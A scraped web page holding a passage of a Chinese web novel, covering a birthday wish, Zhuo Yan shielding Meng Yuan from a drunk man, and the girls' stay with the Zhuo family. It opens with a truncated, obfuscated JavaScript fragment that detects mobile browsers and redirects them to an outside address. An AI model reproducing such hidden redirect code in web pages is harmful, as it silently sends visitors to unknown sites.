0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15047963|161469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情都不太真切，卓惜心中情绪却汹涌得更加厉害。 她仓皇闭上眼，又忍不住抬眼看了一圈，离她最近的恰好是卓焱和孟沅。让她一瞬恍惚，仿佛看见了小时候两人为她庆生的场景。 两人那时候，一个唱不了歌，一个即使能唱也很难听所以干脆不唱。但是他们只是看着她，就足够让她暂时忘记所有的不愉快。 小时候的卓惜，唯一的期盼就是过生日的那抹温暖。 时间还真快，转眼她来这里也有四十天了，好像做了什么又好像没能做什么。但在想法上，她也有了些许变化。 卓惜想到这里，重新闭上眼，在心中许愿。 她仍旧希望他们不要在一起，不要有后面的灾难，这样就可以活得不那么痛苦。 但是，如果可以的话，请让孟沅和卓焱都各自过得顺遂些吧。 她睁开眼，吹灭蜡烛。 方浩不解风情地问她许了什么愿，被梁美蓁瞪了一眼：“你知不知道愿望之所以被称之为愿望，就是要悄悄许啊，说出来不就不灵了？” 方浩不认可：“谁说的，愿望要是悄悄许的话那不就自己知道？反正我每年都会大声说，让老天听到好给我实现！” 梁美蓁切了一声：“那你实现了吗？” 方浩不说话了。 卓惜忍俊不禁：“这说法倒是有道理，没事，也没什么不能说的。我许的愿望是，希望所有人平安，健康，顺遂。” 一边说着，一边在心中同步默念了一遍。 她以前确实从没想过，这句后世大多用于词穷时才提起的索然祝词，成了她后来渴求这辈子都留在孟沅身上的东西。 — ○> — 明天又是周六，陈北森趁着父母正忙，偷偷在方浩教唆下摸了几瓶啤酒上来。 几人都不胜酒力，很快喝得晕晕呼呼坐那儿侃大山。 孟沅有点想上厕所，但看他们聊的正欢，想了想还是没打扰，自己去了。 洗完手刚出来，迎面撞上一个喝得满面酡红的青年，她畏缩地紧急后撤一步才没和他撞上。 刚想从旁边绕开，那人却忽然伸手拦住了她：“呦？小妹，你还挺漂亮啊？跟哥去包厢喝两杯？哥请客，怎么样？” 孟沅一瞬间紧张起来：“你你喝醉了，我朋友还等着我呢，我要走了，我喝不了。” “别急啊，急什么？”青年不依不饶，还往前凑了一步，“就当给哥个面子，嗯？” 他作势要拉她，可孟沅已经被逼到角落里，退无可退。 眼看青年的手就要抓过来，眼前却横来一只手，抓住了青年胳膊。卓焱顺势挡在她身前，手中加了力，语气冷冽：“你有屁面子？你算哪根葱？” “诶诶痛痛痛！”青年一下就清醒了，看他阴郁的表情和两人的块头差距，也知道惹不起，赶紧道歉，“我错了我错了！” 卓焱嫌脏甩了他的手，微抬下巴：“跟她道歉。” 青年咬牙朝她道歉完赶紧溜走。 卓焱洗了手，水珠都没擦干就横指在她额头轻打了一下：“就知道你一个人不安全。下次遇到这种人立马跑，跑快点，然后想办法联系我或者卓惜，别让我担心。” 孟沅下意识擦了下额头的水珠，有点恍惚。 好像，卓惜也说过差不多的话。 不知道是不是错觉，感觉他们有时候还真有点像。 卓焱看她傻愣愣的模样，也不知道是不是喝上头了导致的，还好自己发现她不见跟出来找，不然又要受委屈。 “走了。” 他摇摇头，见她没回过神的模样，干脆擦干水，拉住她手往回走。 孟沅思绪不知道转到哪儿，半晌才回过神来，注意到他握着自己的手。明明是冬天，明明才洗过冰水，他的手却仍旧格外炙热，将她冰凉的手也带得一阵燥。 她后知后觉想起他方才说的那句话。 他说，他担心她。 21.我们的家 甫一入了冬，虽停了雨，天气却更加寒凉萧条。暂时南方的雪下得晚，暂时还没来，不过路边的树紧急扎上一圈圈绳子保暖防冻。 行人步履匆匆，每个人都弓肩缩颈，一缕缕白气从口齿间蹿出，冻得人牙颤。 卓惜遗憾这时还没有出各种各样的光腿神器，只能放弃风度先保温度。尽管如此也还没到把自己裹成粽子的地步，只多穿了条打底裤，外套换成了呢子。 晚上湿气重，车子花草和地上都结了层令，一下滑了许多，卓惜就挽着孟沅慢慢走，让她小心滑。卓焱也在一旁，不疾不徐保持着她们相同的步伐。 正温吞往前挪着，身后来人猛地大手一揽，差点没扑她们背上去。孟沅被吓一跳，还好卓焱及时拉住才没栽下去，卓惜都不用看就知道是谁，自然是和叶明鑫一样跳蚤属性的方浩。 “我大老远就看着寻思眼熟，一凑近还真是你们仨哈。这小围巾，一个灰一个白一个花，倒是挺整齐，看着跟一家人似的。” 方浩酸溜溜揪扯了下卓焱的围巾，被他拍了把手背，赶紧缩回手咋舌：“怎么就你仨有份儿？我的呢？歧视组员啊？” 卓焱呵了声：“边上凉快去。” 卓惜也跟了句：“回家吧，回家睡觉好吗孩子？梦里什么都有。” 只有孟沅一本正经应了他的话：“你也想要吗？可以呀，那你说说你喜欢什么颜色，我抽空给你编。” 她这话一说出口，方浩立刻就来劲儿了，哥俩好的挤进来勾住孟沅的肩：“听听！听听你们说的是人话吗？看看人家孟沅，我怎么就摊上你们这群损友？终究是错付了啊！” 卓焱扯扯唇角，去拎他手：“把你鸡爪挪开。” 卓惜已经抢先一步把他手扒开。 方浩看着这俩人一前一后的动作，嘁了声：“看出来了，你俩是真没良心。要我说，你们都姓卓，连这些小动作都这么像，指不定上辈子还真是一家人，干脆结拜兄妹得了。” “你废话真多。” “谁要跟他当兄妹？” 卓惜看了卓焱一眼，又快速扭过头，神色微不可察地别扭起来。 孟沅看了看卓惜，她能察觉到最近卓惜对卓焱的意见似乎小了很多，两人偶尔也可以融洽相处了。作为朋友来说她乐见其成，于是习惯性扯了扯卓惜衣袖：“走啦走啦，早读要开始了。” 这小半个月她们一直都在卓家暂住，偶尔还会同卓家人一起吃饭。 昨天晚上沈光华喊她们下来吃水果，顺便说了一下那几个混混的处理结果这两天就能正式下来。那五个混混经常在附近几个学校外面“擂肥”，随便一查受害者就不少，其中绝大多数都是挨了欺负都不敢说的中小学生。 因此其中四个未成年都需要在少管所受两年的管教，而田天阳身上还查到了前两年有过严重聚众斗殴伤人事件，有了沈光华一番运作，他判了三年半，后面有的苦头吃。 至于李丽，因为还是学生，之前也并没有前科。鉴于认错态度还算良好，从轻处理，接受了教育之后就回家了。 上周全校通报批评后听说学校对她进行了劝退处理，她家里人也不同意让她读书了，给她办了退学。 听到这个消息，卓惜只能说一句爽。 目前看来风险最高的隐患已经被解决了，也终于能舒一口气。 令卓惜欣慰的是，孟沅最近干劲满满埋头学习，投去的稿子也有了回应，陆续已经挣了一千多块。她也不再抠搜舍不得吃穿，给她和卓家人一人买了一样礼物，不算太贵重但胜在有心意。 目前好像暂时在朝着好的方向发展，卓惜试图时刻捕捉着可能会出现的细微变化。这样下去，未来说不定真的会天翻地覆。 而她偶尔却会突然产生短暂犹疑。 - ∞ - 自互助小组的名单正式交上去后，刘有才又重新按照小组的方式调整了座位，这样方便他们交流学习。位置暂时固定，卓惜乐见其成。 而且不知是不是互助小组发挥了作用，十二月初的月考成绩出来之后，班上不少同学都有了或多或少的进步。 虽说纵观整体年级排名好像除了那几个班级常年垫底的以外，变化不是特别大。但中段分数之间的距离一直都比较大，反而是前段排名咬得比较紧，反正总体来说是明显进步了的。 这变化不仅老师高兴，还有些成绩差的学生也很高兴。通过反馈老师也发现了问题，有些学生其实并不是脑子笨，而是基础没打好跟不上节奏，节奏一乱后面自然就全乱了。 统一的教学有时候并不适合这样的学生，他们也是时候进行一些改变了。几个老师一合计，决定后面的测验按照成绩分几个大区间，做不同的题。 虽说这样自己身上的工作压力也大了很多，但到底也是为了孩子们好，他们辛苦些就辛苦些，因材施教是很有必要的。 像前段的同学基础够扎实，该做的是刷更多难题练习，打题海战术。中段同学基础基本也算牢固，简单题保分没有太大问题，就需要在解难题上下功夫。 末段的同学自是要先打好基础，起码把这部分分给保住，等基础打牢了再一步步往上来。 学习是最没办法一蹴而就的事情，只能一步一个脚印稳扎稳打。 现在对于互助小组的事，班上的反对声已经没有那么大了，只有这次测验成绩往下掉了的那几个同学很是不开心。不过他们也心知其实成绩下滑和小组并没有太大关系，但有了由头就趁机退出了。 刘有才并没有强硬阻拦，确认之后征求另外几个学生意见把他们分别分给了几个组。 转眼也到了回去的日子，卓惜提前一天去了商场把自己的空调也给安排上了。她们来卓家的时候只匆匆收拾了一些简单的衣物，有不少东西都是借用卓家的，走的时候沈光华却以她们反正也用惯了为由都送给了她们，打包下来多了不少。 沈光华晚点还有工作，没办法陪她们回去，就只能叮嘱卓焱送人。临了还有些舍不得的看着她们俩：“真的不再多待几天？” 卓惜摇摇头，且不说孟沅担忧叨扰，她自己也还有别的事情要去做，哪能一直赖在卓家。更何况在卓家住久了，她怕是无意间撮合了孟沅卓焱，那就背道而驰了。 “谢谢沈阿姨，我们已经打扰得够久了，再住下去那真是当自己家了。” 沈光华被她逗笑，顺着她的话接下去：“那就当自己家得了，我还真缺两个贴心小棉袄。儿子有什么好的，只会糟心制造麻烦。” 卓焱啧了声：“妈。” 沈光华瞥他 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孟沅恍然，掌心这片热仿佛一瞬间流进她心里，暖得发烫，她有些不舍得松开。也紧紧回握住卓惜的手，轻声应到：“嗯，回我们的家。” 卓焱抬起视线，后视镜中女孩面色白净透红，唇上不见先前的白，透着健康的嫩粉色。脸上也有了点肉，下巴也不似之前削瘦。 他一直觉得，她像一场未开春时的慢雨，带着冬日还没散尽的些许萧条与孤寂，缓缓淌进人心里，在那方小天地间润物细无声地滋养着一切。 回过神来，已悄然形成一汪澄澈见底的清泉。 而他—— 是想走进去，主动迎接这场雨的人。 — ○> — 晚上，卓惜还是抱着被子赖到了孟沅房间，说是要来场闺蜜夜话。 这段时间两人都是一起睡觉一起吃住，贸然分开了，实话说孟沅也真有点不适应。习惯果然是很可怕的东西，好在是卓惜，她不用防备，不用不敢表现任何依赖。 卓惜美滋滋上了床，话题开启的顺利，不拘什么，从天南聊到海北。 她以前从没这样和孟沅聊过天，当然，孟沅也没法聊，只能在她掌心写字。 小时候没有那么多耐心，也倔强地不想让孟沅替她担心，干脆就躲起来自己舔舐伤口。长大后专注学习，和孟沅每天只能在睡前匆忙扫上一眼。 没失去前不知珍惜，失去后才发觉弥足珍贵。 卓惜不想再有遗憾，便趁着这个机会好好和她对对心里话。 末了，两人都有些困倦哽咽，今天就到这儿。 卓惜顺势滑下来躺着，耳边除了两人的呼吸声，就只剩下了空调送风的声音。 孟沅想了想问她：“卓惜，所以，你不去找你妈妈了吗？” 她心里记挂着这件事，之前屡次问都被含糊过去的时候就有了猜想，干脆问清。 卓惜半个头都埋在被子里，闷闷嗯了一声：“不用找了，其实早就找到了。” 孟沅不解：“嗯？” 卓惜没了声音，就在她以为她已经睡着的时候，旁边才传来她不甚真切的轻声：“她在我心里，一直都在，永远都会在。” 不知怎么回事，这句话像一记锤，锤进了孟沅心里，让她心脏有些酥麻。